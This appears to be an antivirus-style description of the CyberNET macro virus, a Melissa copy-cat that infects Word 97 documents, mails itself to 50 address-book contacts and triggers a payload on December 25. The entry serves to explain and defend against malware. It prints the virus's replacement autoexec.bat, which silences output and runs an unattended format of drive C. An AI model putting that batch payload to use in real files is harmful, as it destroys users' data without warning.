Description

This is a copy-cat attempt based on the Melissa.A virus. It infects Word '97 documents even under the SR-1 release of Word '97. Files become infected when the "Document_Open" or "Document_Close" routine is used.

Payload

The virus has the typical Melissa feature of e-mailing itself to the first 50 listings in your address book. The subject for the e-mail is:

Message From USERNAME

Where USERNAME is the registered user under Word'97. The message body is:

This document is very Important and you've GOT to read this !!!

Once the virus has executed this payload, it will create the following registry key to prevent itself from re-mailing with the following value

Key: HKEY_CURRENT_USER\Software\Microsoft\Office\
Value: CyberNET = (C)1999 - Indonesia by AnomOke!

If the virus is executed on December 25th of any year, it will display a message box with the following text:

(C) 1999 - CyberNET Vine... Vide... Vice...Moslem Power Never End...
You Dare Rise Against Me... The Human Era is Over, The CyberNET Era Has Come!!!

Once the user clicks on the OK button provided, it will display a random number of randomly colored and sized objects. It will also replace the autoexec.bat with a version that will format the user's hard drive the next time autoexec.bat gets executed (typically during the next re-boot). The new autoexec.bat file is as follows:

@echo off
@echo Vine...Vide...Vice...Moslem Power Never End...
@echo Your Computer Have Just Been Terminated By -= CyberNET =- Virus !!!
ctty nul
format c: /autotest /q /u